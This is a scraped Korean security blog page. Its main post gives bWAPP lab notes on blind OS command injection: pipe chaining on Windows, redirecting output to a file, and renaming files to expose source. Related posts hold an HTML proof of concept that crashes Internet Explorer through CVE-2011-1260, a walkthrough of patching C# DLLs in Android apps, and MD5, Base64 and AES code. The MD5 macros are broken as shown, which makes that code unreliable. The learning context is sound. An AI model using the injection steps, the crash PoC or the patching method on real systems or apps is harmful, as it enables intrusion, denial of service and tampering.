메뉴 건너뛰기

imp

[bWAPP] OS Command Injection [blind]

lispro062016.10.13 23:55조회 수 888댓글 0

  • 1
    • 글자 크기

A1 - Injection

OS Command Injection


동영상에서는 ; 등으로 테스트 하는데, windows 서버라 | (pipe, vertical var)로 하면 된다.


A1OSC.PNG


blind 의 경우,


명령어 >> 1.txt


로 파일을 만들어 해당 파일을 접근할 수 있다.


ren 이나, copy 명령어를 사용해 파일을 바꾸거나 txt 확장자로 교체해 소스 확인도 가능할 듯 하다.


del은 쓰지 말자.

lispro06 (비회원)
  • 1
    • 글자 크기
[bWAPP] LDAP Injection (Search) (by lispro06) [bWAPP] PHP Code Injection (by lispro06)

댓글 달기

[XSS] 익스플로러 취약점을 이용한 클라이언트 공격

[원문보기]

Post-mortem Analysis of a Use-After-Free Vulnerability (CVE-2011-1260)


로 제목이 되어있고, http://www.exploit-monday.com/2011/07/post-mortem-analysis-of-use-after-free_07.html


에 소개되어 있다.


<html>

<body>

<script language='javascript'>

document.body.innerHTML += "<object align='right' hspace='1000'   width='1000'>TAG_1</object>";

document.body.innerHTML += "<a id='tag_3' style='bottom:200cm;float:left;padding-left:-1000px;border-width:2000px;text-indent:-1000px' >TAG_3</a>";

document.body.innerHTML += "AAAAAAA";

document.body.innerHTML += "<strong style='font-size:1000pc;margin:auto -1000cm auto auto;' dir='ltr'>TAG_11</strong>";

</script>

</body>

</html>


위 코드가 있는 페이지에 접속하면 ie에 오류를 일으킬 수 있고, 영문 XP pro 에서는 다운까지 시킬 수 있다고 한다.



이거 말고도, 쉘 탈취도 있는데, http://vimeo.com/10171900


동영상을 참고할 수 있다.


XSS 가 세션, 쿠키 탈취, CSRF 정도만 되는 줄 알았는데, 쉘탈취 까지 될 줄이야....


8.jpg

[C#] dll 변조

[원문보기]

C#으로 된 dll은 reflector로 decompile 한 코드를 확인하고,


clover.JPG


pang.JPG 


IDA 로 HEX 위치를 확인해,


df.JPG


ULTRA EDIT로 편집해 변조(패치) 가능하다.


720to300.JPG


C# DLL이 포함된 모바일 앱(안드로이드 apk)의 경우 이런 식으로 가공하면, 설치 후 사용할 수 있다..

[C++] md5 해시 만들기

[원문보기]

원래 해더 파일이 분리되어있는데, include 로 안 되서 걍 붙여 넣어 버렸다.

CString md5hash;

char sseed[100];

strRes="문자열";

sprintf( sseed, "%s", strRes);

md5hash=md5((LPSTR)(LPCSTR)sseed);


특정 문자열과 조합된 char 형태를 cstring 으로 해서 넣으면 cstring 타입으로 리턴 값을 얻을 수 있다.


#ifndef md5_INCLUDED

#  define md5_INCLUDED


/*

 * This package supports both compile-time and run-time determination of CPU

 * byte order.  If ARCH_IS_BIG_ENDIAN is defined as 0, the code will be

 * compiled to run only on little-endian CPUs; if ARCH_IS_BIG_ENDIAN is

 * defined as non-zero, the code will be compiled to run only on big-endian

 * CPUs; if ARCH_IS_BIG_ENDIAN is not defined, the code will be compiled to

 * run on either big- or little-endian CPUs, but will run slightly less

 * efficiently on either one than if ARCH_IS_BIG_ENDIAN is defined.

 */


typedef unsigned char md5_byte_t; /* 8-bit byte */

typedef unsigned int md5_word_t; /* 32-bit word */


/* Define the state of the MD5 Algorithm. */

typedef struct md5_state_s {

md5_word_t count[2]; /* message length in bits, lsw first */

md5_word_t abcd[4]; /* digest buffer */

md5_byte_t buf[64]; /* accumulate block */

} md5_state_t;


#ifdef __cplusplus

extern "C" 

{

#endif


/* Initialize the algorithm. */

void md5_init(md5_state_t *pms);


/* Append a string to the message. */

void md5_append(md5_state_t *pms, const md5_byte_t *data, int nbytes);


/* Finish the message and return the digest. */

void md5_finish(md5_state_t *pms, md5_byte_t digest[16]);


#ifdef __cplusplus

}  /* end extern "C" */

#endif


#endif /* md5_INCLUDED */



#undef BYTE_ORDER /* 1 = big-endian, -1 = little-endian, 0 = unknown */

#ifdef ARCH_IS_BIG_ENDIAN

#  define BYTE_ORDER (ARCH_IS_BIG_ENDIAN ? 1 : -1)

#else

#  define BYTE_ORDER 0

#endif


#define T_MASK ((md5_word_t)~0)

#define T1 /* 0xd76aa478 */ (T_MASK ^ 0x28955b87)

#define T2 /* 0xe8c7b756 */ (T_MASK ^ 0x173848a9)

#define T3    0x242070db

#define T4 /* 0xc1bdceee */ (T_MASK ^ 0x3e423111)

#define T5 /* 0xf57c0faf */ (T_MASK ^ 0x0a83f050)

#define T6    0x4787c62a

#define T7 /* 0xa8304613 */ (T_MASK ^ 0x57cfb9ec)

#define T8 /* 0xfd469501 */ (T_MASK ^ 0x02b96afe)

#define T9    0x698098d8

#define T10 /* 0x8b44f7af */ (T_MASK ^ 0x74bb0850)

#define T11 /* 0xffff5bb1 */ (T_MASK ^ 0x0000a44e)

#define T12 /* 0x895cd7be */ (T_MASK ^ 0x76a32841)

#define T13    0x6b901122

#define T14 /* 0xfd987193 */ (T_MASK ^ 0x02678e6c)

#define T15 /* 0xa679438e */ (T_MASK ^ 0x5986bc71)

#define T16    0x49b40821

#define T17 /* 0xf61e2562 */ (T_MASK ^ 0x09e1da9d)

#define T18 /* 0xc040b340 */ (T_MASK ^ 0x3fbf4cbf)

#define T19    0x265e5a51

#define T20 /* 0xe9b6c7aa */ (T_MASK ^ 0x16493855)

#define T21 /* 0xd62f105d */ (T_MASK ^ 0x29d0efa2)

#define T22    0x02441453

#define T23 /* 0xd8a1e681 */ (T_MASK ^ 0x275e197e)

#define T24 /* 0xe7d3fbc8 */ (T_MASK ^ 0x182c0437)

#define T25    0x21e1cde6

#define T26 /* 0xc33707d6 */ (T_MASK ^ 0x3cc8f829)

#define T27 /* 0xf4d50d87 */ (T_MASK ^ 0x0b2af278)

#define T28    0x455a14ed

#define T29 /* 0xa9e3e905 */ (T_MASK ^ 0x561c16fa)

#define T30 /* 0xfcefa3f8 */ (T_MASK ^ 0x03105c07)

#define T31    0x676f02d9

#define T32 /* 0x8d2a4c8a */ (T_MASK ^ 0x72d5b375)

#define T33 /* 0xfffa3942 */ (T_MASK ^ 0x0005c6bd)

#define T34 /* 0x8771f681 */ (T_MASK ^ 0x788e097e)

#define T35    0x6d9d6122

#define T36 /* 0xfde5380c */ (T_MASK ^ 0x021ac7f3)

#define T37 /* 0xa4beea44 */ (T_MASK ^ 0x5b4115bb)

#define T38    0x4bdecfa9

#define T39 /* 0xf6bb4b60 */ (T_MASK ^ 0x0944b49f)

#define T40 /* 0xbebfbc70 */ (T_MASK ^ 0x4140438f)

#define T41    0x289b7ec6

#define T42 /* 0xeaa127fa */ (T_MASK ^ 0x155ed805)

#define T43 /* 0xd4ef3085 */ (T_MASK ^ 0x2b10cf7a)

#define T44    0x04881d05

#define T45 /* 0xd9d4d039 */ (T_MASK ^ 0x262b2fc6)

#define T46 /* 0xe6db99e5 */ (T_MASK ^ 0x1924661a)

#define T47    0x1fa27cf8

#define T48 /* 0xc4ac5665 */ (T_MASK ^ 0x3b53a99a)

#define T49 /* 0xf4292244 */ (T_MASK ^ 0x0bd6ddbb)

#define T50    0x432aff97

#define T51 /* 0xab9423a7 */ (T_MASK ^ 0x546bdc58)

#define T52 /* 0xfc93a039 */ (T_MASK ^ 0x036c5fc6)

#define T53    0x655b59c3

#define T54 /* 0x8f0ccc92 */ (T_MASK ^ 0x70f3336d)

#define T55 /* 0xffeff47d */ (T_MASK ^ 0x00100b82)

#define T56 /* 0x85845dd1 */ (T_MASK ^ 0x7a7ba22e)

#define T57    0x6fa87e4f

#define T58 /* 0xfe2ce6e0 */ (T_MASK ^ 0x01d3191f)

#define T59 /* 0xa3014314 */ (T_MASK ^ 0x5cfebceb)

#define T60    0x4e0811a1

#define T61 /* 0xf7537e82 */ (T_MASK ^ 0x08ac817d)

#define T62 /* 0xbd3af235 */ (T_MASK ^ 0x42c50dca)

#define T63    0x2ad7d2bb

#define T64 /* 0xeb86d391 */ (T_MASK ^ 0x14792c6e)



static void md5_process(md5_state_t *pms, const md5_byte_t *data /*[64]*/){

md5_word_t

a = pms->abcd[0], b = pms->abcd[1],

c = pms->abcd[2], d = pms->abcd[3];

md5_word_t t;

#if BYTE_ORDER > 0

    /* Define storage only for big-endian CPUs. */

    md5_word_t X[16];

#else

    /* Define storage for little-endian or both types of CPUs. */

    md5_word_t xbuf[16];

    const md5_word_t *X;

#endif


{

#if BYTE_ORDER == 0

/*

* Determine dynamically whether this is a big-endian or

* little-endian machine, since we can use a more efficient

* algorithm on the latter.

*/

static const int w = 1;


if (*((const md5_byte_t *)&w)) /* dynamic little-endian */

#endif

#if BYTE_ORDER <= 0 /* little-endian */

{

   /*

* On little-endian machines, we can process properly aligned

* data without copying it.

*/

if (!((data - (const md5_byte_t *)0) & 3)) {

/* data are properly aligned */

X = (const md5_word_t *)data;

} else {

/* not aligned */

memcpy(xbuf, data, 64);

X = xbuf;

}

}

#endif

#if BYTE_ORDER == 0

else /* dynamic big-endian */

#endif

#if BYTE_ORDER >= 0 /* big-endian */

{

   /*

* On big-endian machines, we must arrange the bytes in the

* right order.

*/

const md5_byte_t *xp = data;

int i;


#  if BYTE_ORDER == 0

   X = xbuf; /* (dynamic only) */

#  else

#    define xbuf X /* (static only) */

#  endif

   for (i = 0; i < 16; ++i, xp += 4)

xbuf[i] = xp[0] + (xp[1] << 8) + (xp[2] << 16) + (xp[3] << 24);

}

#endif

}


#define ROTATE_LEFT(x, n) (((x) << (n)) | ((x) >> (32 - (n))))


    /* Round 1. */

    /* Let [abcd k s i] denote the operation

       a = b + ((a + F(b,c,d) + X[k] + T[i]) <<< s). */

#define F(x, y, z) (((x) & (y)) | (~(x) & (z)))

#define SET(a, b, c, d, k, s, Ti)

  t = a + F(b,c,d) + X[k] + Ti;

  a = ROTATE_LEFT(t, s) + b

    /* Do the following 16 operations. */

    SET(a, b, c, d,  0,  7,  T1);

    SET(d, a, b, c,  1, 12,  T2);

SET(c, d, a, b,  2, 17,  T3);

SET(b, c, d, a,  3, 22,  T4);

SET(a, b, c, d,  4,  7,  T5);

SET(d, a, b, c,  5, 12,  T6);

SET(c, d, a, b,  6, 17,  T7);

SET(b, c, d, a,  7, 22,  T8);

SET(a, b, c, d,  8,  7,  T9);

SET(d, a, b, c,  9, 12, T10);

SET(c, d, a, b, 10, 17, T11);

SET(b, c, d, a, 11, 22, T12);

SET(a, b, c, d, 12,  7, T13);

SET(d, a, b, c, 13, 12, T14);

SET(c, d, a, b, 14, 17, T15);

SET(b, c, d, a, 15, 22, T16);

#undef SET


     /* Round 2. */

     /* Let [abcd k s i] denote the operation

          a = b + ((a + G(b,c,d) + X[k] + T[i]) <<< s). */

#define G(x, y, z) (((x) & (z)) | ((y) & ~(z)))

#define SET(a, b, c, d, k, s, Ti)

  t = a + G(b,c,d) + X[k] + Ti;

  a = ROTATE_LEFT(t, s) + b

     /* Do the following 16 operations. */

    SET(a, b, c, d,  1,  5, T17);

    SET(d, a, b, c,  6,  9, T18);

SET(c, d, a, b, 11, 14, T19);

SET(b, c, d, a,  0, 20, T20);

SET(a, b, c, d,  5,  5, T21);

SET(d, a, b, c, 10,  9, T22);

SET(c, d, a, b, 15, 14, T23);

SET(b, c, d, a,  4, 20, T24);

SET(a, b, c, d,  9,  5, T25);

SET(d, a, b, c, 14,  9, T26);

SET(c, d, a, b,  3, 14, T27);

SET(b, c, d, a,  8, 20, T28);

SET(a, b, c, d, 13,  5, T29);

SET(d, a, b, c,  2,  9, T30);

SET(c, d, a, b,  7, 14, T31);

SET(b, c, d, a, 12, 20, T32);

#undef SET


     /* Round 3. */

     /* Let [abcd k s t] denote the operation

          a = b + ((a + H(b,c,d) + X[k] + T[i]) <<< s). */

#define H(x, y, z) ((x) ^ (y) ^ (z))

#define SET(a, b, c, d, k, s, Ti)

  t = a + H(b,c,d) + X[k] + Ti;

  a = ROTATE_LEFT(t, s) + b

     /* Do the following 16 operations. */

    SET(a, b, c, d,  5,  4, T33);

    SET(d, a, b, c,  8, 11, T34);

SET(c, d, a, b, 11, 16, T35);

SET(b, c, d, a, 14, 23, T36);

SET(a, b, c, d,  1,  4, T37);

SET(d, a, b, c,  4, 11, T38);

SET(c, d, a, b,  7, 16, T39);

SET(b, c, d, a, 10, 23, T40);

SET(a, b, c, d, 13,  4, T41);

SET(d, a, b, c,  0, 11, T42);

SET(c, d, a, b,  3, 16, T43);

SET(b, c, d, a,  6, 23, T44);

SET(a, b, c, d,  9,  4, T45);

SET(d, a, b, c, 12, 11, T46);

SET(c, d, a, b, 15, 16, T47);

SET(b, c, d, a,  2, 23, T48);

#undef SET


     /* Round 4. */

     /* Let [abcd k s t] denote the operation

          a = b + ((a + I(b,c,d) + X[k] + T[i]) <<< s). */

#define I(x, y, z) ((y) ^ ((x) | ~(z)))

#define SET(a, b, c, d, k, s, Ti)

  t = a + I(b,c,d) + X[k] + Ti;

  a = ROTATE_LEFT(t, s) + b

     /* Do the following 16 operations. */

    SET(a, b, c, d,  0,  6, T49);

    SET(d, a, b, c,  7, 10, T50);

SET(c, d, a, b, 14, 15, T51);

SET(b, c, d, a,  5, 21, T52);

SET(a, b, c, d, 12,  6, T53);

SET(d, a, b, c,  3, 10, T54);

SET(c, d, a, b, 10, 15, T55);

SET(b, c, d, a,  1, 21, T56);

SET(a, b, c, d,  8,  6, T57);

SET(d, a, b, c, 15, 10, T58);

SET(c, d, a, b,  6, 15, T59);

SET(b, c, d, a, 13, 21, T60);

SET(a, b, c, d,  4,  6, T61);

SET(d, a, b, c, 11, 10, T62);

SET(c, d, a, b,  2, 15, T63);

SET(b, c, d, a,  9, 21, T64);

#undef SET


     /* Then perform the following additions. (That is increment each

        of the four registers by the value it had before this block

        was started.) */

    pms->abcd[0] += a;

    pms->abcd[1] += b;

pms->abcd[2] += c;

pms->abcd[3] += d;

}


void md5_init(md5_state_t *pms)

{

pms->count[0] = pms->count[1] = 0;

pms->abcd[0] = 0x67452301;

pms->abcd[1] = /*0xefcdab89*/ T_MASK ^ 0x10325476;

pms->abcd[2] = /*0x98badcfe*/ T_MASK ^ 0x67452301;

pms->abcd[3] = 0x10325476;

}


void md5_append(md5_state_t *pms, const md5_byte_t *data, int nbytes){

const md5_byte_t *p = data;

int left = nbytes;

int offset = (pms->count[0] >> 3) & 63;

md5_word_t nbits = (md5_word_t)(nbytes << 3);


if (nbytes <= 0)

return;


/* Update the message length. */

pms->count[1] += nbytes >> 29;

pms->count[0] += nbits;

if (pms->count[0] < nbits)

pms->count[1]++;


/* Process an initial partial block. */

if (offset) {

int copy = (offset + nbytes > 64 ? 64 - offset : nbytes);


memcpy(pms->buf + offset, p, copy);

if (offset + copy < 64)

return;

p += copy;

left -= copy;

md5_process(pms, pms->buf);

}


/* Process full blocks. */

for (; left >= 64; p += 64, left -= 64)

md5_process(pms, p);


/* Process a final partial block. */

if (left)

memcpy(pms->buf, p, left);

}


void md5_finish(md5_state_t *pms, md5_byte_t digest[16]){

static const md5_byte_t pad[64] = {

0x80, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,

0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,

0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,

0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0

};

md5_byte_t data[8];

int i;


/* Save the length before padding. */

for (i = 0; i < 8; ++i)

data[i] = (md5_byte_t)(pms->count[i >> 2] >> ((i & 3) << 3));

/* Pad to 56 bytes mod 64. */

md5_append(pms, pad, ((55 - (pms->count[0] >> 3)) & 63) + 1);

/* Append the length. */

md5_append(pms, data, 8);

for (i = 0; i < 16; ++i)

digest[i] = (md5_byte_t)(pms->abcd[i >> 2] >> ((i & 3) << 3));

}


CString md5(const CString strMd5)

{

    md5_state_t state;

    md5_byte_t digest[16];

    char hex_output[16*2 + 1];

    int di;


    md5_init(&state);

md5_append(&state, (const md5_byte_t *)(LPSTR)(LPCSTR)strMd5, strMd5.GetLength());

    md5_finish(&state, digest);


    for (di = 0; di < 16; ++di)

        sprintf(hex_output + di * 2, "%02x", digest[di]);

    return hex_output;

}

[C++] Base64 encoding

[원문보기]
CString strmsg;
ToBase64(strmsg,strlen(strmsg));

리턴값은 Cstring 과 유사한 타입이다.


CStringA ToBase64(const void* bytes, int byteLength);

CStringA ToBase64(const void* bytes, int byteLength)
{
    ASSERT(0 != bytes);

    CStringA base64;
    int base64Length = Base64EncodeGetRequiredLength(byteLength);

    VERIFY(Base64Encode(static_cast<const BYTE*>(bytes),
                        byteLength,
                        base64.GetBufferSetLength(base64Length),
                        &base64Length));

    base64.ReleaseBufferSetLength(base64Length);
    return base64;
}

[C++] AES-128 활용 원격 로그인 구현

[원문보기]

계획은 이렇다.


받은 ID, PW를 asc2hex로 변환한다.


C/S 프로그램에서 AES 128로 암호화한 ID, PW를 base64로 인코딩해 보낸다.


이 때, 동적 키 값의 일부를 같이 보낸다.(얼마나 보낼지가....)


서버에서 base64 디코딩한 id, pw를 파싱해 복호화한 값을 php에서 처리해 인증한다.


인증에 문제가 없으면, 동적 키값과 다른 정보를 조합한 md5값을 보낸다.


클라이언트에서는 역시 동적 키 값과 다른 정보가 조합된 md5값을 비교한다.


http://comp.ist.utl.pt/ec-csc/Code/Ciphers/




/*

******************************************************************

**       Advanced Encryption Standard implementation in C.      **

**       By Niyaz PK                                            **

**       E-mail: niyazlife@gmail.com                            **

**       Downloaded from Website: www.hoozi.com                 **

******************************************************************

This is the source code for encryption using the latest AES algorithm.

AES algorithm is also called Rijndael algorithm. AES algorithm is 

recommended for non-classified by the National Institute of Standards 

and Technology(NIST), USA. Now-a-days AES is being used for almost 

all encryption applications all around the world.


THE MAIN FEATURE OF THIS AES ENCRYPTION PROGRAM IS NOT EFFICIENCY; IT

IS SIMPLICITY AND READABILITY. THIS SOURCE CODE IS PROVIDED FOR ALL

TO UNDERSTAND THE AES ALGORITHM.


Comments are provided as needed to understand the program. But the 

user must read some AES documentation to understand the underlying 

theory correctly.


It is not possible to describe the complete AES algorithm in detail 

here. For the complete description of the algorithm, point your 

browser to:

http://www.csrc.nist.gov/publications/fips/fips197/fips-197.pdf


Find the Wikipedia page of AES at:

http://en.wikipedia.org/wiki/Advanced_Encryption_Standard

******************************************************************

*/


// Include stdio.h for standard input/output.

// Used for giving output to the screen.

#include<stdio.h>

#include<iostream>

#include<fstream>

#include<stdlib.h>


// The number of columns comprising a state in AES. This is a constant in AES. Value=4

#define Nb 4


// The number of rounds in AES Cipher. It is simply initiated to zero. The actual value is recieved in the program.

int Nr=0;


// The number of 32 bit words in the key. It is simply initiated to zero. The actual value is recieved in the program.

int Nk=0;


// in - it is the array that holds the plain text to be encrypted.

// out - it is the array that holds the key for encryption.

// state - the array that holds the intermediate results during encryption.

unsigned char in[16], out[16], state[4][4];


// The array that stores the round keys.

unsigned char RoundKey[240];


// The Key input to the AES Program

unsigned char Key[32];


int getSBoxValue(int num)

{

int sbox[256] =   {

//0     1    2      3     4    5     6     7      8    9     A      B    C     D     E     F

0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76, //0

0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0, //1

0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15, //2

0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75, //3

0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84, //4

0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf, //5

0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8, //6

0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2, //7

0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73, //8

0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb, //9

0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79, //A

0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08, //B

0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a, //C

0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e, //D

0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf, //E

0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16 }; //F

return sbox[num];

}


// The round constant word array, Rcon[i], contains the values given by 

// x to th e power (i-1) being powers of x (x is denoted as {02}) in the field GF(28)

// Note that i starts at 1, not 0).

int Rcon[255] = {

0x8d, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36, 0x6c, 0xd8, 0xab, 0x4d, 0x9a, 

0x2f, 0x5e, 0xbc, 0x63, 0xc6, 0x97, 0x35, 0x6a, 0xd4, 0xb3, 0x7d, 0xfa, 0xef, 0xc5, 0x91, 0x39, 

0x72, 0xe4, 0xd3, 0xbd, 0x61, 0xc2, 0x9f, 0x25, 0x4a, 0x94, 0x33, 0x66, 0xcc, 0x83, 0x1d, 0x3a, 

0x74, 0xe8, 0xcb, 0x8d, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36, 0x6c, 0xd8, 

0xab, 0x4d, 0x9a, 0x2f, 0x5e, 0xbc, 0x63, 0xc6, 0x97, 0x35, 0x6a, 0xd4, 0xb3, 0x7d, 0xfa, 0xef, 

0xc5, 0x91, 0x39, 0x72, 0xe4, 0xd3, 0xbd, 0x61, 0xc2, 0x9f, 0x25, 0x4a, 0x94, 0x33, 0x66, 0xcc, 

0x83, 0x1d, 0x3a, 0x74, 0xe8, 0xcb, 0x8d, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 

0x36, 0x6c, 0xd8, 0xab, 0x4d, 0x9a, 0x2f, 0x5e, 0xbc, 0x63, 0xc6, 0x97, 0x35, 0x6a, 0xd4, 0xb3, 

0x7d, 0xfa, 0xef, 0xc5, 0x91, 0x39, 0x72, 0xe4, 0xd3, 0xbd, 0x61, 0xc2, 0x9f, 0x25, 0x4a, 0x94, 

0x33, 0x66, 0xcc, 0x83, 0x1d, 0x3a, 0x74, 0xe8, 0xcb, 0x8d, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 

0x40, 0x80, 0x1b, 0x36, 0x6c, 0xd8, 0xab, 0x4d, 0x9a, 0x2f, 0x5e, 0xbc, 0x63, 0xc6, 0x97, 0x35, 

0x6a, 0xd4, 0xb3, 0x7d, 0xfa, 0xef, 0xc5, 0x91, 0x39, 0x72, 0xe4, 0xd3, 0xbd, 0x61, 0xc2, 0x9f, 

0x25, 0x4a, 0x94, 0x33, 0x66, 0xcc, 0x83, 0x1d, 0x3a, 0x74, 0xe8, 0xcb, 0x8d, 0x01, 0x02, 0x04, 

0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36, 0x6c, 0xd8, 0xab, 0x4d, 0x9a, 0x2f, 0x5e, 0xbc, 0x63, 

0xc6, 0x97, 0x35, 0x6a, 0xd4, 0xb3, 0x7d, 0xfa, 0xef, 0xc5, 0x91, 0x39, 0x72, 0xe4, 0xd3, 0xbd, 

0x61, 0xc2, 0x9f, 0x25, 0x4a, 0x94, 0x33, 0x66, 0xcc, 0x83, 0x1d, 0x3a, 0x74, 0xe8, 0xcb  };


// This function produces Nb(Nr+1) round keys. The round keys are used in each round to encrypt the states. 

void KeyExpansion()

{

int i,j;

unsigned char temp[4],k;

// The first round key is the key itself.

for(i=0;i<Nk;i++)

{

RoundKey[i*4]=Key[i*4];

RoundKey[i*4+1]=Key[i*4+1];

RoundKey[i*4+2]=Key[i*4+2];

RoundKey[i*4+3]=Key[i*4+3];

}


// All other round keys are found from the previous round keys.

while (i < (Nb * (Nr+1)))

{

for(j=0;j<4;j++)

{

temp[j]=RoundKey[(i-1) * 4 + j];

}

if (i % Nk == 0)

{

// This function rotates the 4 bytes in a word to the left once.

// [a0,a1,a2,a3] becomes [a1,a2,a3,a0]


// Function RotWord()

{

k = temp[0];

temp[0] = temp[1];

temp[1] = temp[2];

temp[2] = temp[3];

temp[3] = k;

}


// SubWord() is a function that takes a four-byte input word and 

// applies the S-box to each of the four bytes to produce an output word.


// Function Subword()

{

temp[0]=getSBoxValue(temp[0]);

temp[1]=getSBoxValue(temp[1]);

temp[2]=getSBoxValue(temp[2]);

temp[3]=getSBoxValue(temp[3]);

}


temp[0] =  temp[0] ^ Rcon[i/Nk];

}

else if (Nk > 6 && i % Nk == 4)

{

// Function Subword()

{

temp[0]=getSBoxValue(temp[0]);

temp[1]=getSBoxValue(temp[1]);

temp[2]=getSBoxValue(temp[2]);

temp[3]=getSBoxValue(temp[3]);

}

}

RoundKey[i*4+0] = RoundKey[(i-Nk)*4+0] ^ temp[0];

RoundKey[i*4+1] = RoundKey[(i-Nk)*4+1] ^ temp[1];

RoundKey[i*4+2] = RoundKey[(i-Nk)*4+2] ^ temp[2];

RoundKey[i*4+3] = RoundKey[(i-Nk)*4+3] ^ temp[3];

i++;

}

}


// This function adds the round key to state.

// The round key is added to the state by an XOR function.

void AddRoundKey(int round) 

{

int i,j;

for(i=0;i<4;i++)

{

for(j=0;j<4;j++)

{

state[j][i] ^= RoundKey[round * Nb * 4 + i * Nb + j];

}

}

}


// The SubBytes Function Substitutes the values in the

// state matrix with values in an S-box.

void SubBytes()

{

int i,j;

for(i=0;i<4;i++)

{

for(j=0;j<4;j++)

{

state[i][j] = getSBoxValue(state[i][j]);


}

}

}


// The ShiftRows() function shifts the rows in the state to the left.

// Each row is shifted with different offset.

// Offset = Row number. So the first row is not shifted.

void ShiftRows()

{

unsigned char temp;


// Rotate first row 1 columns to left

temp=state[1][0];

state[1][0]=state[1][1];

state[1][1]=state[1][2];

state[1][2]=state[1][3];

state[1][3]=temp;


// Rotate second row 2 columns to left

temp=state[2][0];

state[2][0]=state[2][2];

state[2][2]=temp;


temp=state[2][1];

state[2][1]=state[2][3];

state[2][3]=temp;


// Rotate third row 3 columns to left

temp=state[3][0];

state[3][0]=state[3][3];

state[3][3]=state[3][2];

state[3][2]=state[3][1];

state[3][1]=temp;

}


// xtime is a macro that finds the product of {02} and the argument to xtime modulo {1b}  

#define xtime(x)   ((x<<1) ^ (((x>>7) & 1) * 0x1b))


// MixColumns function mixes the columns of the state matrix

void MixColumns()

{

int i;

unsigned char Tmp,Tm,t;

for(i=0;i<4;i++)

{

t=state[0][i];

Tmp = state[0][i] ^ state[1][i] ^ state[2][i] ^ state[3][i] ;

Tm = state[0][i] ^ state[1][i] ; Tm = xtime(Tm); state[0][i] ^= Tm ^ Tmp ;

Tm = state[1][i] ^ state[2][i] ; Tm = xtime(Tm); state[1][i] ^= Tm ^ Tmp ;

Tm = state[2][i] ^ state[3][i] ; Tm = xtime(Tm); state[2][i] ^= Tm ^ Tmp ;

Tm = state[3][i] ^ t ; Tm = xtime(Tm); state[3][i] ^= Tm ^ Tmp ;

}

}


// Cipher is the main function that encrypts the PlainText.

void Cipher()

{

int i,j,round=0;


//Copy the input PlainText to state array.

for(i=0;i<4;i++)

{

for(j=0;j<4;j++)

{

state[j][i] = in[i*4 + j];

}

}


// Add the First round key to the state before starting the rounds.

AddRoundKey(0); 

// There will be Nr rounds.

// The first Nr-1 rounds are identical.

// These Nr-1 rounds are executed in the loop below.

for(round=1;round<Nr;round++)

{

SubBytes();

ShiftRows();

MixColumns();

AddRoundKey(round);

}

// The last round is given below.

// The MixColumns function is not here in the last round.

SubBytes();

ShiftRows();

AddRoundKey(Nr);


// The encryption process is over.

// Copy the state array to output array.

for(i=0;i<4;i++)

{

for(j=0;j<4;j++)

{

out[i*4+j]=state[j][i];

}

}

}

int main()

{

int i;


// Recieve the length of key here.

while(Nr!=128 && Nr!=192 && Nr!=256)

{

printf("Enter the length of Key(128, 192 or 256 only): ");

scanf("%d",&Nr);

}

// Calculate Nk and Nr from the recieved value.

Nk = Nr / 32;

Nr = Nk + 6;




// Part 1 is for demonstrative purpose. The key and plaintext are given in the program itself.

// Part 1: ********************************************************

// The array temp stores the key.

// The array temp2 stores the plaintext.

